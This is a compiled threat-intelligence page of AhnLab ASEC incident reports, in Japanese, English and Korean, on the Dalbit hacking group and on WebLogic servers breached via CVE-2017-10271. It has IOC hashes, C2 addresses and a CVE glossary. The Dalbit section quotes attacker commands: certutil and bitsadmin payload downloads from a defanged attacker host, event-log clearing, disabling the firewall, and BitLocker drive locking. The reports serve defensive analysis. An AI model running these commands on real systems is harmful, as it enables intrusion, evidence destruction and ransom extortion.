また、画面が送信されている攻撃者サーバー(91.217.139[.]117)は他の企業ではダウンロードサーバーとして使用されていた。 >certutil -urlcache -split -f hxxp://91.217.139[.]117:8080/calc32.exe >certutil -split -urlcache -f hxxp://91.217.139[.]117:8443/log.ini c:\temp >bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8080/calc32.exe ” “c:\windows\debug\winh32.exe” (frpc) >bitsadmin  /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8001/log.ini ” “c:\windows\debug\log.ini” (frpc.ini) [表17] 攻撃者サーバー(91.217.139[.]117)の他のログ 4) インストールされたプログラムの照会およびログイン情報 攻撃者は WMIC コマンドを通してインストールされたプログラムを確認していた。 > wmic product get name,version [表18] 攻撃者がインストールされたプログラムを照会する方法 [図12] インストールされたプログラムのリスト、コマンドの例(WMIC) また、イベントログのうち、特定イベントの ID を発生したドメインアカウント情報について収集していた。生成されたファイルは c:\temp\EvtLogon.dat に存在する。 Event ID 意味 4624 ログイン成功 4768 ケルベロス認証リクエスト 4776 NTLM 認証の試み [表19] 攻撃者が使用したイベント ID の意味 > wevtutil qe security /q:”Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]” /f:text /rd:true >> c:\temp\EvtLogon.dat [表20] wevtutil コマンドログ 3.2.7. ファイルの暗号化 この内容は 過去のブログ を通して詳細に紹介している。攻撃者は Windows ユーティリティである BitLocker を通して特定のドライブを暗号化し、金銭を要求していた。現在はさらに被害企業が確認されている。 BitLocker コマンド > “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T > manage-bde  -lock  -ForceDismount F: > manage-bde  -lock  -ForceDismount e: > “c:\windows\system32\bitlockerwizardelev.exe” e:\ t > “c:\windows\system32\bitlockerwizardelev.exe” f:\ u [表21] BitLocker ログ 以下は攻撃者が使用するランサムノートである。攻撃者は startmail.com、onionmail.com のような匿名のメールサービスを利用していた。 [図13] 以前のブログで紹介したランサムノート ランサムノートのダウンロードと推定できるコマンドは以下の通りである。 > certutil -urlcache -split -f hxxp://175.24.32[.]228:8888/readme c:\windows\temp\readme [表22] ランサムノートのダウンロードと推定できるログ 3.2.8. 回避 1) VMPROTECT PACKING 攻撃者はバイナリのアップロード後、検知が行われる際に VMProtect でパックされ、検知の回避を試みていた。 – 権限昇格ツール %ALLUSERSPROFILE%\badpotatonet4.exe %ALLUSERSPROFILE%\BadPotatoNet4.vmp.exe %ALLUSERSPROFILE%\SweetPotato.exe %ALLUSERSPROFILE%\SweetPotato.vmp.exe %ALLUSERSPROFILE%\jc.vmp.exe %SystemDrive%\nia\juicypotato.vmp1.exe %SystemDrive%\nia\juicypotato.vmp.exe … – プロキシツール E:\WEB\*****\data\frpc.vmp.exe %ALLUSERSPROFILE%\lcx.exe %ALLUSERSPROFILE%\lcx_VP.exe %SystemDrive%\Temp\lcx.exe %SystemDrive%\Temp\lcx_VP.exe %SystemDrive%\Temp\svchost.exe (FRP) %SystemDrive%\Temp\frpc.vmp.exe … [表23] VMP でパックされたファイル 2) WEVTUTIL を利用した Windows イベントログの削除 Security イベントログの削除 > cmd.exe /c wevtutil cl security Application ログの削除 > cmd.exe wevtutil.exe el > cmd.exe wevtutil.exe cl “application” [表24] Windows イベントログの削除 3) ファイアウォール OFF sp.exe “netsh advfirewall set allprofiles state off” [表25] ファイアウォール OFF 4. 結論 Dalbit ハッキンググループは、韓国国内企業の脆弱なサーバーを対象に攻撃を試みており、これは中小企業だけでなく、一部の大企業でもログが確認されている。特に被害を受けた企業のうち30%が、韓国国内の特定グループウェア製品を使用していることが確認された。またこのグループは侵入初期に使用した Web シェルと最終段階のランサムウェアまで、誰もが簡単に手に入れることのできるツールを使用しており、このうち、中国コミュニティーで手に入れたと推定できるプロキシツールや中国語で説明されたツール、そしてこの記事では取り上げなかった中国語のツールも存在する。したがって攻撃者は、中国語で紹介されたツールを主に使用しているものと見られ、中国と一部関連があるものと推定できる。 サーバー管理者は感染の疑いがある場合、この記事で紹介した攻撃者の主なダウンロードパス、およびアカウント名(「main」)、そして IOC などを確認しなければならず、もし疑われるような状況が確認できた場合、AhnLab に情報を提供して二次被害を防がなければならない。また、管理者はサーバー構成環境が脆弱な場合、最新バージョンをパッチして従来の脆弱性を事前に防ぎ、外部に公開されたサーバーのうち、管理できていないサーバーがある場合は点検しなければならない。 5. IOC ASEC ブログでは攻撃者が悪用した韓国国内企業のサーバーの IP を公開していない。 Mitre Attack Execution Persistence Privilege Escalation Credential Access Discovery Defense Evasion Lateral Movement Collection Exfiltration Command and Control Impact Resource Development – Command and Scripting Interpreter(T1059) – Windows Management Instrumentation(T1047) – System Service(T1569) – Scheduled Task/Job(T1053) – Create Account(T1136) – Server Software Component(T1505) – Account Manipulation(T1098) – Access Token Manipulation(T1134) – Exploitation for Privilege Escalation(T1068) – OS Credential Dumping (T1003) – Remote System Discovery(T1018) – Network Service Discovery(T1046) – Impair Defenses(T1562) – Indicator Removal(T1070) – Remote Services(T1021) – Lateral Tool Transfer(T1570) – Data from Local System(T1005) – Account Discovery: Email Account(1087.003) – Email Collection(T1114) – Screen Capture(T1113) – Exfiltration Over Web Service(T1567) – Proxy(T1090) – Ingress Tool Transfer(T1105) – Data Encrypted for Impact(T1486) – Stage Capabilities: Upload Malware(T1608.001) [表26] Mitre Attack 検知名 WebShell/Script.Generic (2020.12.11.09) WebShell/ASP.ASpy.S1361 (2021.02.02.03) WebShell/ASP.Generic.S1855 (2022.06.22.03) WebShell/ASP.Small.S1378 (2021.02.24.02) WebShell/JSP.Godzilla.S1719(2021.12.03.00) WebShell/JSP.Chopper.SC183868(2022.10.15.01) WebShell/JSP.Generic.S1363 (2021.01.27.03) Backdoor/Script.Backdoor (2015.01.04.00) WebShell/JSP.Generic.S1956 (2022.11.14.00) Trojan/Script.Frpc (2022.12.17.00) JS/Webshell (2011.08.08.03) HackTool/Win.Fscan.C5334550(2023.01.27.00) HackTool/Win.Fscan.C5230904(2022.10.08.00) HackTool/Win.Fscan.R5229026(2022.10.07.03) Trojan/JS.Agent(2022.03.16.02) Unwanted/Win32.TCPScan.R33304(2012.08.17.00) HackTool/Win.Scanner.C5220929(2022.08.09.02) HackTool/Win.SweetPotato.R506105 (2022.08.04.01) Exploit/Win.BadPotato.R508814 (2022.08.04.01) HackTool/Win.JuicyPotato.R509932 (2022.08.09.03) HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00) Exploit/Win.JuicyPotato.C425839(2022.08.04.01) Exploit/Win.SweetPotato.C4093454 (2022.08.04.01) Trojan/Win.Escalation.R524707(2022.10.04.02) Trojan/Win.Generic.R457163(2021.12.09.01) HackTool/Win64.Cve-2019-1458.R345589(2020.07.22.06) Malware/Win64.Generic.C3164061 (2019.04.20.01) Malware/Win64.Generic.C3628819 (2019.12.11.01) Exploit/Win.Agent.C4448815 (2021.05.03.03) Trojan/Win.Generic.C4963786 (2022.02.11.04) Trojan/Win.Exploit.C4997833 (2022.03.08.01) Exploit/Win.Agent.C5224192 (2022.08.17.00) Exploit/Win.Agent.C5224193 (2022.08.17.00) Trojan/Win32.RL_Mimikatz.R290617(2019.09.09.01) Trojan/Win32.Mimikatz.R262842(2019.04.06.00) Trojan/Win.Swrort.R450012(2021.11.14.01) HackTool/Win.Lsassdump.R524859(2022.10.05.00) HackTool/Win.ProxyVenom.C5280699(2022.10.15.01) Unwanted/Win.Frpc.C5222534 (2022.08.13.01) Unwanted/Win.Frpc.C5218508 (2022.08.03.03) Unwanted/Win.Frpc.C5218510 (2022.08.03.03) Unwanted/Win.Frpc.C5218513 (2022.08.03.03) HackTool/Win.Frpc.5222544 (2022.08.13.01) HackTool/Win.Frp.C4959080 (2022.02.08.02) HackTool/Win.Frp.C5224195 (2022.08.17.00) Unwanted/Win.Frpc.C5162558 (2022.07.26.03) Malware/Win.Generic.C5173495 (2022.06.18.00) HackTool/Win.LCX.C5192157 (2022.07.04.02) HackTool/Win.LCX.R432995(2023.01.06.01) HackTool/Win.Rsocx.C5280341(2022.10.15.00) Backdoor/Win.BlueShell.C5272202(2022.10.05.00) Trojan/Win.BlueShell.C5280704(2022.10.15.01) Backdoor/Win.CobaltStrike.R360995(2022.09.20.00) Unwanted/Win.Extractor.C5266516(2022.10.01.00) Trojan/Win.RemCom.R237878(2023.01.07.00) [IOC] MD5 (正常なファイルを除く) – Web シェル 0359a857a22c8e93bc43caea07d07e23 85a6e4448f4e5be1aa135861a2c35d35 4fc81fd5ac488b677a4c0ce5c272ffe3 c0452b18695644134a1e38af0e974172 6b4c7ea91d5696369dd0a848586f0b28 96b23ff19a945fad77dd4dd6d166faaa 88bef25e4958d0a198a2cc0d921e4384 c908340bf152b96dc0f270eb6d39437f 2c3de1cefe5cd2a5315a9c9970277bd7 e5b626c4b172065005d04205b026e446 27ec6fb6739c4886b3c9e21b6b9041b6 612585fa3ada349a02bc97d4c60de784 21c7b2e6e0fb603c5fdd33781ac84b8f c44457653b2c69933e04734fe31ff699 e31b7d841b1865e11eab056e70416f1a 69c7d9025fa3841c4cd69db1353179cf fca13226da57b33f95bf3faad1004ee0 af002abd289296572d8afadfca809294 e981219f6ba673e977c5c1771f86b189 f978d05f1ebeb5df334f395d58a7e108 e3af60f483774014c43a7617c44d05e7 c802dd3d8732d9834c5a558e9d39ed37 07191f554ed5d9025bc85ee1bf51f975 61a687b0bea0ef97224c7bd2df118b87 …(省略)– 権限昇格 9fe61c9538f2df492dff1aab0f90579f ab9091f25a5ad44bef898588764f1990 87e5c9f3127f29465ae04b9160756c62 ab9091f25a5ad44bef898588764f1990 4bafbdca775375283a90f47952e182d9 0311ee1452a19b97e626d24751375652 acacf51ceef8943f0ee40fc181b6f1fa 3cbea05bf7a1affb821e379b1966d89c 10f4a1df9c3f1388f9c74eb4cdf24e7c b5bdf2de230722e1fe63d88d8f628ebc edb685194f2fcd6a92f6e909dee7a237 e9bd5ed33a573bd5d9c4e071567808e5 fbae6c3769ed4ae4eccaff76af7e7dfe 937435bbcbc3670430bb762c56c7b329 fd0f73dd80d15626602c08b90529d9fd 29274ca90e6dcf5ae4762739fcbadf01 784becfb944dec42cccf75c8cf2b97e3 7307c6900952d4ef385231179c0a05e4 bcfca13c801608a82a0924f787a19e1d 75fe1b6536e94aaee132c8d022e14f85 d6cb8b66f7a9f3b26b4a98acb2f9d0c5 323a36c23e61c6b37f28abfd5b7e5dfe 7b40aa57e1c61ecd6db2a1c18e08b0af 3665d512be2e9d31fc931912d5c6900e – ネットワークスキャン 1aca4310315d79e70168f15930cc3308 5e0845a9f08c1cfc7966824758b6953a 9b0e4652a0317e6e4da66f29a74b5ad7 d8d36f17b50c8a37c2201fbb0672200a b998a39b31ad9b409d68dcb74ac6d97d d5054ed83e63f911be46b3ff8af82267 e7b7bf4c2ed49575bedabdce2385c8d5 f01a9a2d1e31332ed36c1a4d2839f412 d4d8c9be9a4a6499d254e845c6835f5f – FRP 4eb5eb52061cc8cf06e28e7eb20cd055 0cc22fd05a3e771b09b584db0a161363 8de8dfcb99621b21bf66a3ef2fcd8138 df8f2dc27cbbd10d944210b19f97dafd 2866f3c8dfd5698e7c58d166a5857e1e cbee2fd458ff686a4cd2dde42306bba1 3dc8b64b498220612a43d36049f055ab 31c4a3f16baa5e0437fdd4603987b812 b33a27bfbe7677df4a465dfa9795ff4a 7d9c233b8c9e3f0ea290d2b84593c842 c4f18576fd1177ba1ef54e884cb7a79d 5d33609af27ea092f80aff1af6ddf98d 622f060fce624bdca9a427c3edec1663 1f2432ec77b750aa3e3f72c866584dc3 d331602d190c0963ec83e46f5a5cd54a 21d268341884c4fc62b5af7a3b433d90 – FRP_INI 6a20945ae9f7c9e1a28015e40758bb4f a29f39713ce6a92e642d14374e7203f0 7ce988f1b593e96206a1ef57eb1bec8a fc9abba1f212db8eeac7734056b81a6e 9f55b31c66a01953c17eea6ace66f636 33129e959221bf9d5211710747fddabe 48b99c2f0441f5a4794afb4f89610e48 28e026b9550e4eb37435013425abfa38 2ceabffe2d40714e5535212d46d78119 c72750485db39d0c04469cd6b100a595 68403cc3a6fcbeb9e5e9f7263d04c02f 52ff6e3e942ac8ee012dcde89e7a1116 d82481e9bc50d9d9aeb9d56072bf3cfe 22381941763862631070e043d4dd0dc2 6b5bccf615bf634b0e55a86a9c24c902 942d949a28b2921fb980e2d659e6ef75 059d98dcb83be037cd9829d31c096dab cca50cdd843aa824e5eef5f05e74f4a5 f6f0d44aa5e3d83bb1ac777c9cea7060 0ca345bc074fa2ef7a2797b875b6cd4d f6da8dc4e1226aa2d0dabc32acd06915 0bbfaea19c8d1444ae282ff5911a527b – LCX a69d3580921ec8adce64c9b38ac3653a c4e39c1fc0e1b165319fa533a9795c44 fb6bf74c6c1f2482e914816d6e97ce09 678dbe60e15d913fb363c8722bde313d – プロキシ ETC e0f4afe374d75608d604fbf108eac64f f5271a6d909091527ed9f30eafa0ded6 ae8acf66bfe3a44148964048b826d005 – ラテラルムーブメント 6983f7001de10f4d19fc2d794c3eb534 fcb7f7dab6d401a17bd436fc12a84623 – 情報の収集および資格証明の窃取 bb8bdb3e8c92e97e2f63626bc3b254c4 80f421c5fd5b28fc05b485de4f7896a1 a03b57cc0103316e974bbb0f159f78f6 46f366e3ee36c05ab5a7a319319f7c72 7bd775395b821e158a6961c573e6fd43 b434df66d0dd15c2f5e5b2975f2cfbe2 c17cfe533f8ce24f0e41bd7e14a35e5e – バックドア 011cedd9932207ee5539895e2a1ed60a bc744a4bf1c158dba37276bf7db50d85 23c0500a69b71d5942585bb87559fe83 53271b2ab6c327a68e78a7c0bf9f4044 c87ac56d434195c527d3358e12e2b2e0 C2 および URL (悪用された韓国国内企業サーバーの場合は表記なし) – Download C2 91.217.139[.]117– Upload C2 205.185.122[.]95 91.217.139[.]117 – FRP & LCX C2 hxxp://sk1.m00nlight[.]top:80 (45.136.186.19) //MOACK_Co_LTD 企業サーバー hxxps://fk.m00nlight[.]top:443 (45.136.186.175:443) //MOACK_Co_LTD 企業サーバー hxxps://aa.zxcss[.]com:443 (45.93.31.122) //MOACK_Co_LTD 企業サーバー 45.93.31[.]75:7777 //MOACK_Co_LTD 企業サーバー 45.93.28[.]103:8080 //MOACK_Co_LTD 企業サーバー 103.118.42[.]208 101.43.121[.]50 – Backdoor C2 45.93.31[.]75 //MOACK_Co_LTD 企業サーバー 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

ASEC マルウェア感染時、単純な駆除にとどめてはいけない理由 2022-05-20

원문 보기

2022年1月、韓国国内の製造業分野で有数の企業において、内部システムの多数が Darkside ランサムウェアに感染する被害が発生した。 AD グループポリシーを利用して Darkside ランサムウェアが配布されたことが確認されたため、DC サーバーにフォレンジックを試みたものの、仮想環境で運用中であった DC サーバーの仮想環境運用システム自体が破損しており、DC サーバーを確保することができなかった。代わりに、Darkside ランサムウェアに感染した後、過去のバックアップを活用して復旧されたシステムのうち WebLogic サーバー2台が同時期に WebShell に感染していることが確認された。したがって Darkside ランサムウェアの感染原因が WebShell かどうかを把握するため、フォレンジックを行った。 過去のスナップショットにより復旧した WAS1、WAS2 サーバーを分析した結果、発見された WebShell と Darkside ランサムウェアにおける関連性は確認されなかった。しかし、2019年4月頃から Miner への感染が始まり、2022年2月頃までに(分析当時)様々なマルウェアに感染した履歴と侵害の痕跡が発見された。 このようなマルウェアの感染に対し、被害を受けた企業は認知していたものの、それらのマルウェアがどのように流入したか原因を把握せずに、マルウェアの治療により対応してきたものと見られる。 感染したマルウェアが深刻だとは思われない種類のマルウェアであっても、このようにして流出した制御権および内部システムの情報が攻撃者間で取引される恐れがあり、以後深刻な被害をもたらす攻撃に利用される可能性がある。したがって、マルウェアを検知した場合、単純な治療や削除にとどめるべきではない。感染システムの詳細な解析によってマルウェアの感染および侵害原因を特定し、把握した問題点を解決することで、侵害の再発および類似した手法による攻撃を防ぐことができる。 侵害内容 被害を受けた企業の WAS1 と WAS2 で確認された侵害の痕跡は、以下の通りである。 WAS1 は2019年度に CoinMiner に感染しており、その後 Cobalt Strike、WebShell、情報流出型マルウェアなど様々なタイプのマルウェアに感染していた。様々な攻撃者により、ここ2~3年間で侵害が持続的に行われていたものと見られる。WAS2 では北朝鮮のハッカーにより製作されたものと推定されるマルウェアが発見され、WAS2 も APT 攻撃が行われていたと推定できる。それ以外にも2021年4月22日に様々な侵害の痕跡が発見されたが、被害を受けた企業は当時、ペネトレーションテストを受けたと回答した。 最初のアクセス WAS1 は2019年4月30日に CoinMiner に感染した。CoinMiner は146.196.83.217からダウンロードされたが、 Tencent Security ブログ (中国語で提供)によれば、この IP は RunMiner と命名された Miner と関連する IP であり、この Miner は WebLog Deserialization 脆弱性である CVE-2017-10271 を利用して配布されていることが確認された。 WAS2 の最初の侵害の痕跡は2020年4月29日であり、WebShell の流入を試みた痕跡が確認された。WAS1 と WAS2 は WebLogic 12.1.3 バージョンであり、上記で取り上げた CVE-2017-10271 脆弱性が存在するバージョンである。WAS1 と WAS2 の WebLogic 脆弱性により最初に侵害を受けた可能性が高い。 アカウントの獲得 WAS1 システムでは2020年10月22日、共有フォルダーにおいて辞書攻撃(Dictionary Attack)機能が含まれたハッキングツールと lsass.exe プロセスのダンプファイルである lsass.dmp ファイルが 1.rar ファイルに圧縮された状態で発見された。攻撃者は辞書攻撃の実行および lsass.exe プロセスのダンプによりパスワードを窃取したものと見られる。 攻撃者が確保した lsass.dmp により、以下のように drmftp、Administrator アカウントの平文パスワードと NTLM Hash 等を取得することができる。 図2. 攻撃者が窃取した lsass.dmp から抽出したアカウント情報(ID、平文 PW、NTLM Hash) さらに、被害を受けた企業の管理者アカウント(Administrator)は以下のように脆弱な状況で管理されていた。 Administrator アカウントのパスワードは、生成後一度も変更されていなかった。 Administrator アカウントは類推しやすいパスワードを使用していた。 WAS1 と WAS2 の Administrator アカウントのパスワードは同じであると見られ、ほとんどのサーバーの管理者アカウントを同じように設定して使用している可能性がある。 Reverse RDP 接続 攻撃者は管理者級のアカウントを確保した後、組織内部のシステムに Lcx.exe を利用して Reverse RDP 方式で接続し、直接制御することもあった。 Lcx.exe はオープンソースプログラムで、ファイアウォールを回避して外部の攻撃者と内部のシステムをつなぐ時に使用するトンネリングツールである。Lcx.exe の RDP 通信プロセスは以下の通りである。 図3. Lcx.exe を利用した RDP 通信プロセス WAS1 で Lcx.exe が生成された痕跡および実行された履歴と、イベントログ(Event ID:4624)に接続する IP が 127.0.0.1 と記録されていることが確認された。トンネリングの資格証明に使用されたアカウントはローカル Administrator と test アカウントであり、どちらも管理者アカウントである。test アカウントの場合はイベント発生直前に新しく生成されたアカウントで、攻撃者が任意で生成したものと推定される。残念ながら、リモートアクセスに使用された外部攻撃者の IP は確認できなかった。 図4. トンネリング RDP 接続イベントログ – Event ID:4624 攻撃に使用されたツール 被害を受けたシステムでは、スキャンツール、プロキシおよびポートフォワーディングツール、WebShell、バックドアマルウェア等が発見された。 攻撃者は、内部侵入のために情報収集、外部と接続するためのポートフォワーディング、持続性のためのバックドアのインストール等、様々なツールを使用していた。システムにおいて発見されたツールは以下の通りである。 表1. 攻撃に使用されたツール 攻撃者は、アンチウイルスのセキュリティ製品を回避するため、比較的検知が難しいオープンソースプログラムを攻撃ツールとして使用していた。AhnLab では、被害を受けたシステムから発見されたマルウェアと攻撃ツールを以下のように検知している。 [ ファイル検知 ] Unwanted/Win32.NSSM Unwanted/Win32.BitCoinMiner Unwanted/Win32.BitCoinMiner Dropper/Win.Agent Dropper/Win32.Agent Dropper/Win.Agent HackTool/Win.Fscan HackTool/Win.Fscan HackTool/Win.Fscan HackTool/Win.NbtScan Malware/Gen.Reputation HackTool/Win.AliveScan Exploit/Win.Scanner HackTool/Win.LCX HackTool/Win.Stowaway HackTool/Win.NPS HackTool/Win.Frp HackTool/Win.Frp Malware/Win64.Generic Patched/Win.Loader HackTool/Win.ExploitScanner [ ファイル MD5] 1136efb1a46d1f2d508162387f30dc4d ae00198dfa0ef3a7e5fea8dd06a8d8b8 f2f94708cef791d9664d2e4fa20ff520 0dabd600cea6dcf3c049a667b67b4482 99b0638f134a0d607edb8dbab01d3f95 763f2cae2072647d61d11047c8aaaf09 e636a07bb8d8fbfb1cab5557fdc217aa 0f7baf15408a49895439aa273ee7f867 7650484a85247bc922de760a6a335a76 62eada472d6d2d7606ba322c8b7f9153 f01a9a2d1e31332ed36c1a4d2839f412 f4a992b87d70c622eef107a09d712e9e d221d51f4599ae051709b5cf5c45af10 fb6bf74c6c1f2482e914816d6e97ce09 4b8fbfc68b9969549f050c0e8366a10d 716979a28125fa65903e77dc5b399383 88a5ebccf60464764d0fe015d71bf330 d862186f24e644b02aa97d98695c73d8 114f26e7b46d0f4c4a202353c41ce366 0b877ea03db28b275dd535f16dd78239 fe12b5008334ad718008307e1a0750f7 [IP/URL] 198.13.53.81 180.235.137.14 185.239.226.133 159.233.41.219 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

ASEC Why Remediation Alone Is Not Enough When Infected by Malware 2022-05-20

원문 보기

In January 2022, a prominent Korean company in the manufacturing industry had many of its internal systems infected by the Darkside ransomware. As the ransomware was found to be distributed using the AD group policy, AhnLab attempted to conduct a DC server forensic analysis. However, as the virtual environment operating system of the DC server operating in the virtual environment was damaged, the server could not be secured. Among the systems that were restored by the previous backup after the infection, the two WebLogic servers were found to be infected by WebShell during a similar period. AhnLab conducted the forensic analysis on the servers to check if WebShell was responsible for the Darkside infection. The analysis result of WAS1 and WAS2 servers restored with previous snapshots showed that WebShell and Darkside were not related. However, there were Miner infections starting from April 2019, and there was a history of various malware infections and breach traces until February 2022 (the time of the analysis). The company that uses the AhnLab product was aware of the infections, yet it seems the company did not identify how the infection happened in the first place. Apparently, the only action they took was remediating the system, without identifying how the infection started. While the malware infecting the system may not inflict serious damage, leaked control and information of the internal systems may be traded between attackers and utilized in attacks that may cause serious issues in the future. As such, when the malware is detected, simply remedying the system and deleting the malware is not enough. To prevent further breaches and attacks of similar types, a detailed analysis of the infected system to identify the cause of the malware infections and breaches is needed, as well as resolving the identified issues. Breach Details The traces of the breach discovered on the targeted company’s WAS1 and WAS2 servers are as follows: WAS1 was infected with CoinMiner in 2019. It was later infected with various malware types such as Cobalt Strike, WebShell, and info-leaking malware. It appears that the breach had been progressing for the recent 2-3 years by the various attackers. WAS2 had a malware strain likely created by a North Korean hacker, meaning it was probably being targeted by an APT attack. There were also various breach traces discovered on April 22, 2021, but the targeted company stated that it received a penetration testing service on that day. Initial Approach WAS1 was infected with CoinMiner on April 30, 2019. The malware was downloaded from 146.196.83.217. According to the Tencent Security blog , the IP address is related to a miner named RunMiner. It was found to be distributed by using the WebLog Deserialization vulnerability CVE-2017-10271. The initial breach trace of WAS2 happened on April 29, 2020. There was a trace of the attacker attempting to infiltrate WebShell. The WebLogic version of WAS1 and WAS2 was 12.1.3, which is a version existing in the CVE-2017-10271 vulnerability mentioned above. It is likely that the initial breach happened due to the WebLogic vulnerability of the two servers. Obtaining Account On October 22, 2020, a hacking tool included with the dictionary attack feature and Isass.dmp file (a dump file for the lsass.exe process) were found as a compressed file (1.rar) in the shared folder of the WAS1 system. It seems the attacker stole the password by the dictionary attack method and process dump for lsass.exe. Through the Isass.dmp file secured by the attacker, one can obtain various information such as drmftp, plain password of the Administrator account, and NTLM hash as shown below. Figure 2. Account information (ID, plain password, and NTLM Hash) extracted from Isass.dmp stolen by the attacker The targeted company’s administrator account was in a vulnerable state: The password for the Administrator account did not change once since it was created. The account used a password that could be easily guessed. As the Administrator account’s password for both WAS1 and WAS2 was the same, it is likely that most of the other servers used the same password for their administrator accounts. Reverse RDP Access After obtaining the account with the administrator privilege, the attacker sometimes had direct control of the system within the organization by accessing it with the Reverse RDP method using Lcx.exe. Lcx.exe is an open-source tunneling tool that can be used to connect the external attacker with the internal system. The RDP communication process of Lcx.exe is as follows: Figure 3. RDP communication process using Lcx.exe The history of Lcx.exe being created and executed in WAS1 was confirmed, as well as the access IP of 127.0.0.1 recorded in the event log (Event ID: 4624). The accounts used for verifying tunneling were local Administrator and test, both of them being administrator accounts. The test account was created right before the event, most likely done by the attacker. Unfortunately, AhnLab could not check the IP that the external attacker used for remote access. Figure 4. Tunneling RDP access event log – Event ID: 4624 Tools Used for Attack The infected system had a scanning tool, proxy and port forwarding tool, WebShell, backdoor malware, etc. The attacker used various tools for different purposes: collecting information for infiltration, port forwarding for establishing an external connection, installing backdoor for persistence, etc. The tools discovered in the system are shown below. Table 1. Tools Used for Attack To bypass anti-malware products, the attacker used open-source programs that are relatively difficult to detect as attack tools. AhnLab detects and blocks malware and attack tools discovered in the infected system using the aliases below. [File Detection] Unwanted/Win32.NSSM Unwanted/Win32.BitCoinMiner Unwanted/Win32.BitCoinMiner Dropper/Win.Agent Dropper/Win32.Agent Dropper/Win.Agent HackTool/Win.Fscan HackTool/Win.Fscan HackTool/Win.Fscan HackTool/Win.NbtScan Malware/Gen.Reputation HackTool/Win.AliveScan Exploit/Win.Scanner HackTool/Win.LCX HackTool/Win.Stowaway HackTool/Win.NPS HackTool/Win.Frp HackTool/Win.Frp Malware/Win64.Generic Patched/Win.Loader HackTool/Win.ExploitScanner [File MD5] 1136efb1a46d1f2d508162387f30dc4d ae00198dfa0ef3a7e5fea8dd06a8d8b8 f2f94708cef791d9664d2e4fa20ff520 0dabd600cea6dcf3c049a667b67b4482 99b0638f134a0d607edb8dbab01d3f95 763f2cae2072647d61d11047c8aaaf09 e636a07bb8d8fbfb1cab5557fdc217aa 0f7baf15408a49895439aa273ee7f867 7650484a85247bc922de760a6a335a76 62eada472d6d2d7606ba322c8b7f9153 f01a9a2d1e31332ed36c1a4d2839f412 f4a992b87d70c622eef107a09d712e9e d221d51f4599ae051709b5cf5c45af10 fb6bf74c6c1f2482e914816d6e97ce09 4b8fbfc68b9969549f050c0e8366a10d 716979a28125fa65903e77dc5b399383 88a5ebccf60464764d0fe015d71bf330 d862186f24e644b02aa97d98695c73d8 114f26e7b46d0f4c4a202353c41ce366 0b877ea03db28b275dd535f16dd78239 fe12b5008334ad718008307e1a0750f7 [IP/URL] 198.13.53.81 180.235.137.14 185.239.226.133 159.233.41.219 Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.

자동 추천 장비와 근거 참고용

분류 체계(취약점 종류 CWE → 공격 유형 CAPEC → 공격 기법 ATT&CK) 매핑으로 계산한 후보입니다. 범위가 넓어 관련이 적은 장비가 섞입니다. 해당 장비가 이 공격을 탐지한다고 확인한 것은 아니며, 위의 '살펴볼 장비' 와 단계별 판정에는 쓰지 않습니다.

장비방법근거 경로
웹 방화벽 WAF cweCWE-306 (직접 매핑)
웹서버·WAS 로그 WEBLOG cweCWE-306 (직접 매핑)

취약점 종류 CWE

영향받는 제품 CPE · 4건
제조사제품영향받는 버전표준 표기CPE
oracleweblogic_server cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
oracleweblogic_server cpe:2.3:a:oracle:weblogic_server:12.1.3.0.0:*:*:*:*:*:*:*
oracleweblogic_server cpe:2.3:a:oracle:weblogic_server:12.2.1.1.0:*:*:*:*:*:*:*
oracleweblogic_server cpe:2.3:a:oracle:weblogic_server:12.2.1.2.0:*:*:*:*:*:*:*
참고 링크 13건
용어 설명 CVE · CVSS · EPSS · KEV · NVD …
CVE 취약점 번호
공개된 보안 취약점마다 붙는 국제 고유 번호입니다. 예: CVE-2021-44228(Log4j). 가운데 숫자는 번호를 받은 해입니다.
CVSS 위험도 점수
취약점이 얼마나 위험한지 0~10점으로 매긴 국제 표준 점수입니다. 심각 9.0 이상 · 높음 7.0~8.9 · 중간 4.0~6.9 · 낮음 0.1~3.9. 공격이 얼마나 쉬운지와 피해 크기로 정하며, 실제로 공격받고 있는지는 반영하지 않습니다.
EPSS 악용 가능성
앞으로 30일 안에 실제 공격에 쓰일 확률을 추정한 값(0~100%)입니다. 국제 보안 단체 FIRST 가 매일 계산합니다. 높을수록 먼저 조치하세요.
KEV 실제 악용 확인
미국 사이버보안청(CISA)이 실제 공격에 쓰인 것을 확인한 취약점만 모은 목록입니다. 여기에 있으면 가장 먼저 조치할 대상입니다. '랜섬웨어' 표시는 랜섬웨어 공격에 쓰인 것으로 알려진 것입니다.
공격 코드 공개된 PoC
NVD 참고 링크 중 '공격 코드(Exploit)' 표시가 붙은 것이 있다는 뜻입니다. 누구나 공격을 시도해 볼 수 있으므로 서두르는 게 좋지만, 실제 악용이 확인된 것(KEV)과는 다릅니다.
NVD 미국 취약점 DB
미국 국립표준기술연구소(NIST)가 운영하는 취약점 데이터베이스입니다. CVE 마다 설명·CVSS 점수·영향받는 제품·취약점 종류를 붙입니다. 이 사이트 설명의 원문 출처입니다.
우선순위 이 사이트의 참고 점수
CVSS·KEV·랜섬웨어·EPSS·ASEC 언급·공격 코드 공개를 합쳐 계산한 점수입니다. 높을수록 먼저 살펴보세요. 공식 점수가 아닙니다.
ASEC 안랩 분석 글
안랩 보안대응센터 블로그입니다. 'ASEC 3' 은 분석 글에 그 CVE 번호가 3번 나왔다는 뜻이며, 국내에서 악용이 확인됐다는 뜻은 아닙니다.
CWE 취약점 종류
취약점 종류의 분류 번호입니다. 예: CWE-89 SQL 인젝션, CWE-79 크로스 사이트 스크립팅.
CPE 영향받는 제품
취약점이 있는 제품과 버전을 적는 표준 표기입니다. 예: apache:tomcat 9.0.0~9.0.80.
KB Microsoft 업데이트 번호
Microsoft 가 업데이트마다 붙이는 번호입니다. 예: KB5068791. '수정된 버전' 은 업데이트 후의 빌드 번호로, 이보다 낮으면 업데이트가 필요합니다.
